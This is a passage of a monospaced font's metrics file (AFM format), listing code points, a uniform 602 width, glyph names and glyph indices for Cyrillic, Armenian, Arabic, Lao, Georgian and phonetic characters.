U 1020 ; WX 602 ; N uni03FC ; G 827
U 1021 ; WX 602 ; N uni03FD ; G 828
U 1022 ; WX 602 ; N uni03FE ; G 829
U 1023 ; WX 602 ; N uni03FF ; G 830
U 1024 ; WX 602 ; N uni0400 ; G 831
U 1025 ; WX 602 ; N uni0401 ; G 832
U 1026 ; WX 602 ; N uni0402 ; G 833
U 1027 ; WX 602 ; N uni0403 ; G 834
U 1028 ; WX 602 ; N uni0404 ; G 835
U 1029 ; WX 602 ; N uni0405 ; G 836
U 1030 ; WX 602 ; N uni0406 ; G 837
U 1031 ; WX 602 ; N uni0407 ; G 838
U 1032 ; WX 602 ; N uni0408 ; G 839
U 1033 ; WX 602 ; N uni0409 ; G 840
U 1034 ; WX 602 ; N uni040A ; G 841
U 1035 ; WX 602 ; N uni040B ; G 842
U 1036 ; WX 602 ; N uni040C ; G 843
U 1037 ; WX 602 ; N uni040D ; G 844
U 1038 ; WX 602 ; N uni040E ; G 845
U 1039 ; WX 602 ; N uni040F ; G 846
U 1040 ; WX 602 ; N uni0410 ; G 847
U 1041 ; WX 602 ; N uni0411 ; G 848
U 1042 ; WX 602 ; N uni0412 ; G 849
U 1043 ; WX 602 ; N uni0413 ; G 850
U 1044 ; WX 602 ; N uni0414 ; G 851
U 1045 ; WX 602 ; N uni0415 ; G 852
U 1046 ; WX 602 ; N uni0416 ; G 853
U 1047 ; WX 602 ; N uni0417 ; G 854
U 1048 ; WX 602 ; N uni0418 ; G 855
U 1049 ; WX 602 ; N uni0419 ; G 856
U 1050 ; WX 602 ; N uni041A ; G 857
U 1051 ; WX 602 ; N uni041B ; G 858
U 1052 ; WX 602 ; N uni041C ; G 859
U 1053 ; WX 602 ; N uni041D ; G 860
U 1054 ; WX 602 ; N uni041E ; G 861
U 1055 ; WX 602 ; N uni041F ; G 862
U 1056 ; WX 602 ; N uni0420 ; G 863
U 1057 ; WX 602 ; N uni0421 ; G 864
U 1058 ; WX 602 ; N uni0422 ; G 865
U 1059 ; WX 602 ; N uni0423 ; G 866
U 1060 ; WX 602 ; N uni0424 ; G 867
U 1061 ; WX 602 ; N uni0425 ; G 868
U 1062 ; WX 602 ; N uni0426 ; G 869
U 1063 ; WX 602 ; N uni0427 ; G 870
U 1064 ; WX 602 ; N uni0428 ; G 871
U 1065 ; WX 602 ; N uni0429 ; G 872
U 1066 ; WX 602 ; N uni042A ; G 873
U 1067 ; WX 602 ; N uni042B ; G 874
U 1068 ; WX 602 ; N uni042C ; G 875
U 1069 ; WX 602 ; N uni042D ; G 876
U 1070 ; WX 602 ; N uni042E ; G 877
U 1071 ; WX 602 ; N uni042F ; G 878
U 1072 ; WX 602 ; N uni0430 ; G 879
U 1073 ; WX 602 ; N uni0431 ; G 880
U 1074 ; WX 602 ; N uni0432 ; G 881
U 1075 ; WX 602 ; N uni0433 ; G 882
U 1076 ; WX 602 ; N uni0434 ; G 883
U 1077 ; WX 602 ; N uni0435 ; G 884
U 1078 ; WX 602 ; N uni0436 ; G 885
U 1079 ; WX 602 ; N uni0437 ; G 886
U 1080 ; WX 602 ; N uni0438 ; G 887
U 1081 ; WX 602 ; N uni0439 ; G 888
U 1082 ; WX 602 ; N uni043A ; G 889
U 1083 ; WX 602 ; N uni043B ; G 890
U 1084 ; WX 602 ; N uni043C ; G 891
U 1085 ; WX 602 ; N uni043D ; G 892
U 1086 ; WX 602 ; N uni043E ; G 893
U 1087 ; WX 602 ; N uni043F ; G 894
U 1088 ; WX 602 ; N uni0440 ; G 895
U 1089 ; WX 602 ; N uni0441 ; G 896
U 1090 ; WX 602 ; N uni0442 ; G 897
U 1091 ; WX 602 ; N uni0443 ; G 898
U 1092 ; WX 602 ; N uni0444 ; G 899
U 1093 ; WX 602 ; N uni0445 ; G 900
U 1094 ; WX 602 ; N uni0446 ; G 901
U 1095 ; WX 602 ; N uni0447 ; G 902
U 1096 ; WX 602 ; N uni0448 ; G 903
U 1097 ; WX 602 ; N uni0449 ; G 904
U 1098 ; WX 602 ; N uni044A ; G 905
U 1099 ; WX 602 ; N uni044B ; G 906
U 1100 ; WX 602 ; N uni044C ; G 907
U 1101 ; WX 602 ; N uni044D ; G 908
U 1102 ; WX 602 ; N uni044E ; G 909
U 1103 ; WX 602 ; N uni044F ; G 910
U 1104 ; WX 602 ; N uni0450 ; G 911
U 1105 ; WX 602 ; N uni0451 ; G 912
U 1106 ; WX 602 ; N uni0452 ; G 913
U 1107 ; WX 602 ; N uni0453 ; G 914
U 1108 ; WX 602 ; N uni0454 ; G 915
U 1109 ; WX 602 ; N uni0455 ; G 916
U 1110 ; WX 602 ; N uni0456 ; G 917
U 1111 ; WX 602 ; N uni0457 ; G 918
U 1112 ; WX 602 ; N uni0458 ; G 919
U 1113 ; WX 602 ; N uni0459 ; G 920
U 1114 ; WX 602 ; N uni045A ; G 921
U 1115 ; WX 602 ; N uni045B ; G 922
U 1116 ; WX 602 ; N uni045C ; G 923
U 1117 ; WX 602 ; N uni045D ; G 924
U 1118 ; WX 602 ; N uni045E ; G 925
U 1119 ; WX 602 ; N uni045F ; G 926
U 1122 ; WX 602 ; N uni0462 ; G 927
U 1123 ; WX 602 ; N uni0463 ; G 928
U 1138 ; WX 602 ; N uni0472 ; G 929
U 1139 ; WX 602 ; N uni0473 ; G 930
U 1168 ; WX 602 ; N uni0490 ; G 931
U 1169 ; WX 602 ; N uni0491 ; G 932
U 1170 ; WX 602 ; N uni0492 ; G 933
U 1171 ; WX 602 ; N uni0493 ; G 934
U 1172 ; WX 602 ; N uni0494 ; G 935
U 1173 ; WX 602 ; N uni0495 ; G 936
U 1174 ; WX 602 ; N uni0496 ; G 937
U 1175 ; WX 602 ; N uni0497 ; G 938
U 1176 ; WX 602 ; N uni0498 ; G 939
U 1177 ; WX 602 ; N uni0499 ; G 940
U 1178 ; WX 602 ; N uni049A ; G 941
U 1179 ; WX 602 ; N uni049B ; G 942
U 1186 ; WX 602 ; N uni04A2 ; G 943
U 1187 ; WX 602 ; N uni04A3 ; G 944
U 1188 ; WX 602 ; N uni04A4 ; G 945
U 1189 ; WX 602 ; N uni04A5 ; G 946
U 1194 ; WX 602 ; N uni04AA ; G 947
U 1195 ; WX 602 ; N uni04AB ; G 948
U 1196 ; WX 602 ; N uni04AC ; G 949
U 1197 ; WX 602 ; N uni04AD ; G 950
U 1198 ; WX 602 ; N uni04AE ; G 951
U 1199 ; WX 602 ; N uni04AF ; G 952
U 1200 ; WX 602 ; N uni04B0 ; G 953
U 1201 ; WX 602 ; N uni04B1 ; G 954
U 1202 ; WX 602 ; N uni04B2 ; G 955
U 1203 ; WX 602 ; N uni04B3 ; G 956
U 1210 ; WX 602 ; N uni04BA ; G 957
U 1211 ; WX 602 ; N uni04BB ; G 958
U 1216 ; WX 602 ; N uni04C0 ; G 959
U 1217 ; WX 602 ; N uni04C1 ; G 960
U 1218 ; WX 602 ; N uni04C2 ; G 961
U 1219 ; WX 602 ; N uni04C3 ; G 962
U 1220 ; WX 602 ; N uni04C4 ; G 963
U 1223 ; WX 602 ; N uni04C7 ; G 964
U 1224 ; WX 602 ; N uni04C8 ; G 965
U 1227 ; WX 602 ; N uni04CB ; G 966
U 1228 ; WX 602 ; N uni04CC ; G 967
U 1231 ; WX 602 ; N uni04CF ; G 968
U 1232 ; WX 602 ; N uni04D0 ; G 969
U 1233 ; WX 602 ; N uni04D1 ; G 970
U 1234 ; WX 602 ; N uni04D2 ; G 971
U 1235 ; WX 602 ; N uni04D3 ; G 972
U 1236 ; WX 602 ; N uni04D4 ; G 973
U 1237 ; WX 602 ; N uni04D5 ; G 974
U 1238 ; WX 602 ; N uni04D6 ; G 975
U 1239 ; WX 602 ; N uni04D7 ; G 976
U 1240 ; WX 602 ; N uni04D8 ; G 977
U 1241 ; WX 602 ; N uni04D9 ; G 978
U 1242 ; WX 602 ; N uni04DA ; G 979
U 1243 ; WX 602 ; N uni04DB ; G 980
U 1244 ; WX 602 ; N uni04DC ; G 981
U 1245 ; WX 602 ; N uni04DD ; G 982
U 1246 ; WX 602 ; N uni04DE ; G 983
U 1247 ; WX 602 ; N uni04DF ; G 984
U 1248 ; WX 602 ; N uni04E0 ; G 985
U 1249 ; WX 602 ; N uni04E1 ; G 986
U 1250 ; WX 602 ; N uni04E2 ; G 987
U 1251 ; WX 602 ; N uni04E3 ; G 988
U 1252 ; WX 602 ; N uni04E4 ; G 989
U 1253 ; WX 602 ; N uni04E5 ; G 990
U 1254 ; WX 602 ; N uni04E6 ; G 991
U 1255 ; WX 602 ; N uni04E7 ; G 992
U 1256 ; WX 602 ; N uni04E8 ; G 993
U 1257 ; WX 602 ; N uni04E9 ; G 994
U 1258 ; WX 602 ; N uni04EA ; G 995
U 1259 ; WX 602 ; N uni04EB ; G 996
U 1260 ; WX 602 ; N uni04EC ; G 997
U 1261 ; WX 602 ; N uni04ED ; G 998
U 1262 ; WX 602 ; N uni04EE ; G 999
U 1263 ; WX 602 ; N uni04EF ; G 1000
U 1264 ; WX 602 ; N uni04F0 ; G 1001
U 1265 ; WX 602 ; N uni04F1 ; G 1002
U 1266 ; WX 602 ; N uni04F2 ; G 1003
U 1267 ; WX 602 ; N uni04F3 ; G 1004
U 1268 ; WX 602 ; N uni04F4 ; G 1005
U 1269 ; WX 602 ; N uni04F5 ; G 1006
U 1270 ; WX 602 ; N uni04F6 ; G 1007
U 1271 ; WX 602 ; N uni04F7 ; G 1008
U 1272 ; WX 602 ; N uni04F8 ; G 1009
U 1273 ; WX 602 ; N uni04F9 ; G 1010
U 1296 ; WX 602 ; N uni0510 ; G 1011
U 1297 ; WX 602 ; N uni0511 ; G 1012
U 1306 ; WX 602 ; N uni051A ; G 1013
U 1307 ; WX 602 ; N uni051B ; G 1014
U 1308 ; WX 602 ; N uni051C ; G 1015
U 1309 ; WX 602 ; N uni051D ; G 1016
U 1329 ; WX 602 ; N uni0531 ; G 1017
U 1330 ; WX 602 ; N uni0532 ; G 1018
U 1331 ; WX 602 ; N uni0533 ; G 1019
U 1332 ; WX 602 ; N uni0534 ; G 1020
U 1333 ; WX 602 ; N uni0535 ; G 1021
U 1334 ; WX 602 ; N uni0536 ; G 1022
U 1335 ; WX 602 ; N uni0537 ; G 1023
U 1336 ; WX 602 ; N uni0538 ; G 1024
U 1337 ; WX 602 ; N uni0539 ; G 1025
U 1338 ; WX 602 ; N uni053A ; G 1026
U 1339 ; WX 602 ; N uni053B ; G 1027
U 1340 ; WX 602 ; N uni053C ; G 1028
U 1341 ; WX 602 ; N uni053D ; G 1029
U 1342 ; WX 602 ; N uni053E ; G 1030
U 1343 ; WX 602 ; N uni053F ; G 1031
U 1344 ; WX 602 ; N uni0540 ; G 1032
U 1345 ; WX 602 ; N uni0541 ; G 1033
U 1346 ; WX 602 ; N uni0542 ; G 1034
U 1347 ; WX 602 ; N uni0543 ; G 1035
U 1348 ; WX 602 ; N uni0544 ; G 1036
U 1349 ; WX 602 ; N uni0545 ; G 1037
U 1350 ; WX 602 ; N uni0546 ; G 1038
U 1351 ; WX 602 ; N uni0547 ; G 1039
U 1352 ; WX 602 ; N uni0548 ; G 1040
U 1353 ; WX 602 ; N uni0549 ; G 1041
U 1354 ; WX 602 ; N uni054A ; G 1042
U 1355 ; WX 602 ; N uni054B ; G 1043
U 1356 ; WX 602 ; N uni054C ; G 1044
U 1357 ; WX 602 ; N uni054D ; G 1045
U 1358 ; WX 602 ; N uni054E ; G 1046
U 1359 ; WX 602 ; N uni054F ; G 1047
U 1360 ; WX 602 ; N uni0550 ; G 1048
U 1361 ; WX 602 ; N uni0551 ; G 1049
U 1362 ; WX 602 ; N uni0552 ; G 1050
U 1363 ; WX 602 ; N uni0553 ; G 1051
U 1364 ; WX 602 ; N uni0554 ; G 1052
U 1365 ; WX 602 ; N uni0555 ; G 1053
U 1366 ; WX 602 ; N uni0556 ; G 1054
U 1369 ; WX 602 ; N uni0559 ; G 1055
U 1370 ; WX 602 ; N uni055A ; G 1056
U 1371 ; WX 602 ; N uni055B ; G 1057
U 1372 ; WX 602 ; N uni055C ; G 1058
U 1373 ; WX 602 ; N uni055D ; G 1059
U 1374 ; WX 602 ; N uni055E ; G 1060
U 1375 ; WX 602 ; N uni055F ; G 1061
U 1377 ; WX 602 ; N uni0561 ; G 1062
U 1378 ; WX 602 ; N uni0562 ; G 1063
U 1379 ; WX 602 ; N uni0563 ; G 1064
U 1380 ; WX 602 ; N uni0564 ; G 1065
U 1381 ; WX 602 ; N uni0565 ; G 1066
U 1382 ; WX 602 ; N uni0566 ; G 1067
U 1383 ; WX 602 ; N uni0567 ; G 1068
U 1384 ; WX 602 ; N uni0568 ; G 1069
U 1385 ; WX 602 ; N uni0569 ; G 1070
U 1386 ; WX 602 ; N uni056A ; G 1071
U 1387 ; WX 602 ; N uni056B ; G 1072
U 1388 ; WX 602 ; N uni056C ; G 1073
U 1389 ; WX 602 ; N uni056D ; G 1074
U 1390 ; WX 602 ; N uni056E ; G 1075
U 1391 ; WX 602 ; N uni056F ; G 1076
U 1392 ; WX 602 ; N uni0570 ; G 1077
U 1393 ; WX 602 ; N uni0571 ; G 1078
U 1394 ; WX 602 ; N uni0572 ; G 1079
U 1395 ; WX 602 ; N uni0573 ; G 1080
U 1396 ; WX 602 ; N uni0574 ; G 1081
U 1397 ; WX 602 ; N uni0575 ; G 1082
U 1398 ; WX 602 ; N uni0576 ; G 1083
U 1399 ; WX 602 ; N uni0577 ; G 1084
U 1400 ; WX 602 ; N uni0578 ; G 1085
U 1401 ; WX 602 ; N uni0579 ; G 1086
U 1402 ; WX 602 ; N uni057A ; G 1087
U 1403 ; WX 602 ; N uni057B ; G 1088
U 1404 ; WX 602 ; N uni057C ; G 1089
U 1405 ; WX 602 ; N uni057D ; G 1090
U 1406 ; WX 602 ; N uni057E ; G 1091
U 1407 ; WX 602 ; N uni057F ; G 1092
U 1408 ; WX 602 ; N uni0580 ; G 1093
U 1409 ; WX 602 ; N uni0581 ; G 1094
U 1410 ; WX 602 ; N uni0582 ; G 1095
U 1411 ; WX 602 ; N uni0583 ; G 1096
U 1412 ; WX 602 ; N uni0584 ; G 1097
U 1413 ; WX 602 ; N uni0585 ; G 1098
U 1414 ; WX 602 ; N uni0586 ; G 1099
U 1415 ; WX 602 ; N uni0587 ; G 1100
U 1417 ; WX 602 ; N uni0589 ; G 1101
U 1418 ; WX 602 ; N uni058A ; G 1102
U 1542 ; WX 602 ; N uni0606 ; G 1103
U 1543 ; WX 602 ; N uni0607 ; G 1104
U 1545 ; WX 602 ; N uni0609 ; G 1105
U 1546 ; WX 602 ; N uni060A ; G 1106
U 1548 ; WX 602 ; N uni060C ; G 1107
U 1557 ; WX 602 ; N uni0615 ; G 1108
U 1563 ; WX 602 ; N uni061B ; G 1109
U 1567 ; WX 602 ; N uni061F ; G 1110
U 1569 ; WX 602 ; N uni0621 ; G 1111
U 1570 ; WX 602 ; N uni0622 ; G 1112
U 1571 ; WX 602 ; N uni0623 ; G 1113
U 1572 ; WX 602 ; N uni0624 ; G 1114
U 1573 ; WX 602 ; N uni0625 ; G 1115
U 1574 ; WX 602 ; N uni0626 ; G 1116
U 1575 ; WX 602 ; N uni0627 ; G 1117
U 1576 ; WX 602 ; N uni0628 ; G 1118
U 1577 ; WX 602 ; N uni0629 ; G 1119
U 1578 ; WX 602 ; N uni062A ; G 1120
U 1579 ; WX 602 ; N uni062B ; G 1121
U 1580 ; WX 602 ; N uni062C ; G 1122
U 1581 ; WX 602 ; N uni062D ; G 1123
U 1582 ; WX 602 ; N uni062E ; G 1124
U 1583 ; WX 602 ; N uni062F ; G 1125
U 1584 ; WX 602 ; N uni0630 ; G 1126
U 1585 ; WX 602 ; N uni0631 ; G 1127
U 1586 ; WX 602 ; N uni0632 ; G 1128
U 1587 ; WX 602 ; N uni0633 ; G 1129
U 1588 ; WX 602 ; N uni0634 ; G 1130
U 1589 ; WX 602 ; N uni0635 ; G 1131
U 1590 ; WX 602 ; N uni0636 ; G 1132
U 1591 ; WX 602 ; N uni0637 ; G 1133
U 1592 ; WX 602 ; N uni0638 ; G 1134
U 1593 ; WX 602 ; N uni0639 ; G 1135
U 1594 ; WX 602 ; N uni063A ; G 1136
U 1600 ; WX 602 ; N uni0640 ; G 1137
U 1601 ; WX 602 ; N uni0641 ; G 1138
U 1602 ; WX 602 ; N uni0642 ; G 1139
U 1603 ; WX 602 ; N uni0643 ; G 1140
U 1604 ; WX 602 ; N uni0644 ; G 1141
U 1605 ; WX 602 ; N uni0645 ; G 1142
U 1606 ; WX 602 ; N uni0646 ; G 1143
U 1607 ; WX 602 ; N uni0647 ; G 1144
U 1608 ; WX 602 ; N uni0648 ; G 1145
U 1609 ; WX 602 ; N uni0649 ; G 1146
U 1610 ; WX 602 ; N uni064A ; G 1147
U 1611 ; WX 602 ; N uni064B ; G 1148
U 1612 ; WX 602 ; N uni064C ; G 1149
U 1613 ; WX 602 ; N uni064D ; G 1150
U 1614 ; WX 602 ; N uni064E ; G 1151
U 1615 ; WX 602 ; N uni064F ; G 1152
U 1616 ; WX 602 ; N uni0650 ; G 1153
U 1617 ; WX 602 ; N uni0651 ; G 1154
U 1618 ; WX 602 ; N uni0652 ; G 1155
U 1619 ; WX 602 ; N uni0653 ; G 1156
U 1620 ; WX 602 ; N uni0654 ; G 1157
U 1621 ; WX 602 ; N uni0655 ; G 1158
U 1626 ; WX 602 ; N uni065A ; G 1159
U 1632 ; WX 602 ; N uni0660 ; G 1160
U 1633 ; WX 602 ; N uni0661 ; G 1161
U 1634 ; WX 602 ; N uni0662 ; G 1162
U 1635 ; WX 602 ; N uni0663 ; G 1163
U 1636 ; WX 602 ; N uni0664 ; G 1164
U 1637 ; WX 602 ; N uni0665 ; G 1165
U 1638 ; WX 602 ; N uni0666 ; G 1166
U 1639 ; WX 602 ; N uni0667 ; G 1167
U 1640 ; WX 602 ; N uni0668 ; G 1168
U 1641 ; WX 602 ; N uni0669 ; G 1169
U 1642 ; WX 602 ; N uni066A ; G 1170
U 1643 ; WX 602 ; N uni066B ; G 1171
U 1644 ; WX 602 ; N uni066C ; G 1172
U 1645 ; WX 602 ; N uni066D ; G 1173
U 1652 ; WX 602 ; N uni0674 ; G 1174
U 1657 ; WX 602 ; N uni0679 ; G 1175
U 1658 ; WX 602 ; N uni067A ; G 1176
U 1659 ; WX 602 ; N uni067B ; G 1177
U 1662 ; WX 602 ; N uni067E ; G 1178
U 1663 ; WX 602 ; N uni067F ; G 1179
U 1664 ; WX 602 ; N uni0680 ; G 1180
U 1667 ; WX 602 ; N uni0683 ; G 1181
U 1668 ; WX 602 ; N uni0684 ; G 1182
U 1670 ; WX 602 ; N uni0686 ; G 1183
U 1671 ; WX 602 ; N uni0687 ; G 1184
U 1681 ; WX 602 ; N uni0691 ; G 1185
U 1688 ; WX 602 ; N uni0698 ; G 1186
U 1700 ; WX 602 ; N uni06A4 ; G 1187
U 1705 ; WX 602 ; N uni06A9 ; G 1188
U 1711 ; WX 602 ; N uni06AF ; G 1189
U 1726 ; WX 602 ; N uni06BE ; G 1190
U 1740 ; WX 602 ; N uni06CC ; G 1191
U 1776 ; WX 602 ; N uni06F0 ; G 1192
U 1777 ; WX 602 ; N uni06F1 ; G 1193
U 1778 ; WX 602 ; N uni06F2 ; G 1194
U 1779 ; WX 602 ; N uni06F3 ; G 1195
U 1780 ; WX 602 ; N uni06F4 ; G 1196
U 1781 ; WX 602 ; N uni06F5 ; G 1197
U 1782 ; WX 602 ; N uni06F6 ; G 1198
U 1783 ; WX 602 ; N uni06F7 ; G 1199
U 1784 ; WX 602 ; N uni06F8 ; G 1200
U 1785 ; WX 602 ; N uni06F9 ; G 1201
U 3647 ; WX 602 ; N uni0E3F ; G 1202
U 3713 ; WX 602 ; N uni0E81 ; G 1203
U 3714 ; WX 602 ; N uni0E82 ; G 1204
U 3716 ; WX 602 ; N uni0E84 ; G 1205
U 3719 ; WX 602 ; N uni0E87 ; G 1206
U 3720 ; WX 602 ; N uni0E88 ; G 1207
U 3722 ; WX 602 ; N uni0E8A ; G 1208
U 3725 ; WX 602 ; N uni0E8D ; G 1209
U 3732 ; WX 602 ; N uni0E94 ; G 1210
U 3733 ; WX 602 ; N uni0E95 ; G 1211
U 3734 ; WX 602 ; N uni0E96 ; G 1212
U 3735 ; WX 602 ; N uni0E97 ; G 1213
U 3737 ; WX 602 ; N uni0E99 ; G 1214
U 3738 ; WX 602 ; N uni0E9A ; G 1215
U 3739 ; WX 602 ; N uni0E9B ; G 1216
U 3740 ; WX 602 ; N uni0E9C ; G 1217
U 3741 ; WX 602 ; N uni0E9D ; G 1218
U 3742 ; WX 602 ; N uni0E9E ; G 1219
U 3743 ; WX 602 ; N uni0E9F ; G 1220
U 3745 ; WX 602 ; N uni0EA1 ; G 1221
U 3746 ; WX 602 ; N uni0EA2 ; G 1222
U 3747 ; WX 602 ; N uni0EA3 ; G 1223
U 3749 ; WX 602 ; N uni0EA5 ; G 1224
U 3751 ; WX 602 ; N uni0EA7 ; G 1225
U 3754 ; WX 602 ; N uni0EAA ; G 1226
U 3755 ; WX 602 ; N uni0EAB ; G 1227
U 3757 ; WX 602 ; N uni0EAD ; G 1228
U 3758 ; WX 602 ; N uni0EAE ; G 1229
U 3759 ; WX 602 ; N uni0EAF ; G 1230
U 3760 ; WX 602 ; N uni0EB0 ; G 1231
U 3761 ; WX 602 ; N uni0EB1 ; G 1232
U 3762 ; WX 602 ; N uni0EB2 ; G 1233
U 3763 ; WX 602 ; N uni0EB3 ; G 1234
U 3764 ; WX 602 ; N uni0EB4 ; G 1235
U 3765 ; WX 602 ; N uni0EB5 ; G 1236
U 3766 ; WX 602 ; N uni0EB6 ; G 1237
U 3767 ; WX 602 ; N uni0EB7 ; G 1238
U 3768 ; WX 602 ; N uni0EB8 ; G 1239
U 3769 ; WX 602 ; N uni0EB9 ; G 1240
U 3771 ; WX 602 ; N uni0EBB ; G 1241
U 3772 ; WX 602 ; N uni0EBC ; G 1242
U 3784 ; WX 602 ; N uni0EC8 ; G 1243
U 3785 ; WX 602 ; N uni0EC9 ; G 1244
U 3786 ; WX 602 ; N uni0ECA ; G 1245
U 3787 ; WX 602 ; N uni0ECB ; G 1246
U 3788 ; WX 602 ; N uni0ECC ; G 1247
U 3789 ; WX 602 ; N uni0ECD ; G 1248
U 4304 ; WX 602 ; N uni10D0 ; G 1249
U 4305 ; WX 602 ; N uni10D1 ; G 1250
U 4306 ; WX 602 ; N uni10D2 ; G 1251
U 4307 ; WX 602 ; N uni10D3 ; G 1252
U 4308 ; WX 602 ; N uni10D4 ; G 1253
U 4309 ; WX 602 ; N uni10D5 ; G 1254
U 4310 ; WX 602 ; N uni10D6 ; G 1255
U 4311 ; WX 602 ; N uni10D7 ; G 1256
U 4312 ; WX 602 ; N uni10D8 ; G 1257
U 4313 ; WX 602 ; N uni10D9 ; G 1258
U 4314 ; WX 602 ; N uni10DA ; G 1259
U 4315 ; WX 602 ; N uni10DB ; G 1260
U 4316 ; WX 602 ; N uni10DC ; G 1261
U 4317 ; WX 602 ; N uni10DD ; G 1262
U 4318 ; WX 602 ; N uni10DE ; G 1263
U 4319 ; WX 602 ; N uni10DF ; G 1264
U 4320 ; WX 602 ; N uni10E0 ; G 1265
U 4321 ; WX 602 ; N uni10E1 ; G 1266
U 4322 ; WX 602 ; N uni10E2 ; G 1267
U 4323 ; WX 602 ; N uni10E3 ; G 1268
U 4324 ; WX 602 ; N uni10E4 ; G 1269
U 4325 ; WX 602 ; N uni10E5 ; G 1270
U 4326 ; WX 602 ; N uni10E6 ; G 1271
U 4327 ; WX 602 ; N uni10E7 ; G 1272
U 4328 ; WX 602 ; N uni10E8 ; G 1273
U 4329 ; WX 602 ; N uni10E9 ; G 1274
U 4330 ; WX 602 ; N uni10EA ; G 1275
U 4331 ; WX 602 ; N uni10EB ; G 1276
U 4332 ; WX 602 ; N uni10EC ; G 1277
U 4333 ; WX 602 ; N uni10ED ; G 1278
U 4334 ; WX 602 ; N uni10EE ; G 1279
U 4335 ; WX 602 ; N uni10EF ; G 1280
U 4336 ; WX 602 ; N uni10F0 ; G 1281
U 4337 ; WX 602 ; N uni10F1 ; G 1282
U 4338 ; WX 602 ; N uni10F2 ; G 1283
U 4339 ; WX 602 ; N uni10F3 ; G 1284
U 4340 ; WX 602 ; N uni10F4 ; G 1285
U 4341 ; WX 602 ; N uni10F5 ; G 1286
U 4342 ; WX 602 ; N uni10F6 ; G 1287
U 4343 ; WX 602 ; N uni10F7 ; G 1288
U 4344 ; WX 602 ; N uni10F8 ; G 1289
U 4345 ; WX 602 ; N uni10F9 ; G 1290
U 4346 ; WX 602 ; N uni10FA ; G 1291
U 4347 ; WX 602 ; N uni10FB ; G 1292
U 4348 ; WX 602 ; N uni10FC ; G 1293
U 7426 ; WX 602 ; N uni1D02 ; G 1294
U 7432 ; WX 602 ; N uni1D08 ; G 1295
U 7433 ; WX 602 ; N uni1D09 ; G 1296
U 7444 ; WX 602 ; N uni1D14 ; G 1297
U 7446 ; WX 602 ; N uni1D16 ; G 1298
U 7447 ; WX 602 ; N uni1D17 ; G 1299
U 7453 ; WX 602 ; N uni1D1D ; G 1300
U 7454 ; WX 602 ; N uni1D1E ; G 1301
U 7455 ; WX 602 ; N uni1D1F ; G 1302
U 7468 ; WX 602 ; N uni1D2C ; G 1303
U 7469 ; WX 602 ; N uni1D2D ; G 1304
U 7470 ; WX 602 ; N uni1D2E ; G 1305
U 7472 ; WX 602 ; N uni1D30 ; G 1306
U 7473 ; WX 602 ; N uni1D31 ; G 1307
U 7474 ; WX 602 ; N uni1D32 ; G 1308
U 7475 ; WX 602 ; N uni1D33 ; G 1309
U 7476 ; WX 602 ; N uni1D34 ; G 1310
U 7477 ; WX 602 ; N uni1D35 ; G 1311
U 7478 ; WX 602 ; N uni1D36 ; G 1312
U 7479 ; WX 602 ; N uni1D37 ; G 1313
U 7480 ; WX 602 ; N uni1D38 ; G 1314
U 7481 ; WX 602 ; N uni1D39 ; G 1315
U 7482 ; WX 602 ; N uni1D3A ; G 1316
U 7483 ; WX 602 ; N uni1D3B ; G 1317
U 7484 ; WX 602 ; N uni1D3C ; G 1318
U 7486 ; WX 602 ; N uni1D3E ; G 1319
U 7487 ; WX 602 ; N uni1D3F ; G 1320
U 7488 ; WX 602 ; N uni1D40 ; G 1321
U 7489 ; WX 602 ; N uni1D41 ; G 1322
U 7490 ; WX 602 ; N uni1D42 ; G 1323
U 7491 ; WX 602 ; N uni1D43 ; G 1324
U 7492 ; WX 602 ; N uni1D44 ; G 1325
U 7493 ; WX 602 ; N uni1D45 ; G 1326
U 7494 ; WX 602 ; N uni1D46 ; G 1327
U 7495 ; WX 602 ; N uni1D47 ; G 1328
U 7496 ; WX 602 ; N uni1D48 ; G 1329
U 7497 ; WX 602 ; N uni1D49 ; G 1330
U 7498 ; WX 602 ; N uni1D4A ; G 1331
U 7499 ; WX 602 ; N uni1D4B ; G 1332
U 7500 ; WX 602 ; N uni1D4C ; G 1333
U 7501 ; WX 602 ; N uni1D4D ; G 1334
U 7502 ; WX 602 ; N uni1D4E ; G 1335
U 7503 ; WX 602 ; N uni1D4F ; G 1336
U 7504 ; WX 602 ; N uni1D50 ; G 1337
U 7505 ; WX 602 ; N uni1D51 ; G 1338
U 7506 ; WX 602 ; N uni1D52 ; G 1339
U 7507 ; WX 602 ; N uni1D53 ; G 1340
U 7508 ; WX 602 ; N uni1D54 ; G 1341
U 7509 ; WX 602 ; N uni1D55 ; G 1342
U 7510 ; WX 602 ; N uni1D56 ; G 1343
U 7511 ; WX 602 ; N uni1D57 ; G 1344
U 7512 ; WX 602 ; N uni1D58 ; G 1345
U 7513 ; WX 602 ; N uni1D59 ; G 1346
U 7514 ; WX 602 ; N uni1D5A ; G 1347
U 7515 ; WX 602 ; N uni1D5B ; G 1348
U 7522 ; WX 602 ; N uni1D62 ; G 1349
U 7523 ; WX 602 ; N uni1D63 ; G 1350
U 7524 ; WX 602 ; N uni1D64 ; G 1351
U 7525 ; WX 602 ; N uni1D65 ; G 1352
U 7543 ; WX 602 ; N uni1D77 ; G 1353
U 7544 ; WX 602 ; N uni1D78 ; G 1354
U 7547 ; WX 602 ; N uni1D7B ; G 1355
U 7557 ; WX 602 ; N uni1D85 ; G 1356
U 7579 ; WX 602 ; N uni1D9B ; G 1357
U 7580 ; WX 602 ; N uni1D9C ; G 1358
U 7581 ; WX 602 ; N uni1D9D ; G 1359
U 7582 ; WX 602 ; N uni1D9E ; G 1360
U 7583 ; WX 602 ; N uni1D9F ; G 1361
U 7584 ; WX 602 ; N uni1DA0 ; G 1362
U 7585 ; WX 602 ; N uni1DA1 ; G 1363
U 7586 ; WX 602 ; N uni1DA2 ; G 1364
U 7587 ; WX 602 ; N uni1DA3 ; G 1365
U 7588 ; WX 602 ; N uni1DA4 ; G 1366
U 7589 ; WX 602 ; N uni1DA5 ; G 1367
U 7590 ; WX 602 ; N uni1DA6 ; G 1368
U 7591 ; WX 602 ; N uni1DA7 ; G 1369
U 7592 ; WX 602 ; N uni1DA8 ; G 1370
U 7593 ; WX 602 ; N uni1DA9 ; G 1371
U 7594 ; WX 602 ; N uni1DAA ; G 1372
U 7595 ; WX 602 ; N uni1DAB ; G 1373
U 7596 ; WX 602 ; N uni1DAC ; G 1374
U 7597 ; WX 602 ; N uni1DAD ; G 1375
U 7598 ; WX 602 ; N uni1DAE ; G 1376
U 7599 ; WX 602 ; N uni1DAF ; G 1377
U 7600 ; WX 602 ; N uni1DB0 ; G 1378
U 7601 ; WX 602 ; N uni1DB1 ; G 1379
U 7602 ; WX 602 ; N uni1DB2 ; G 1380
U 7603 ; WX 602 ; N uni1DB3 ; G 1381
U 7604 ; WX 602 ; N uni1DB4 ; G 1382
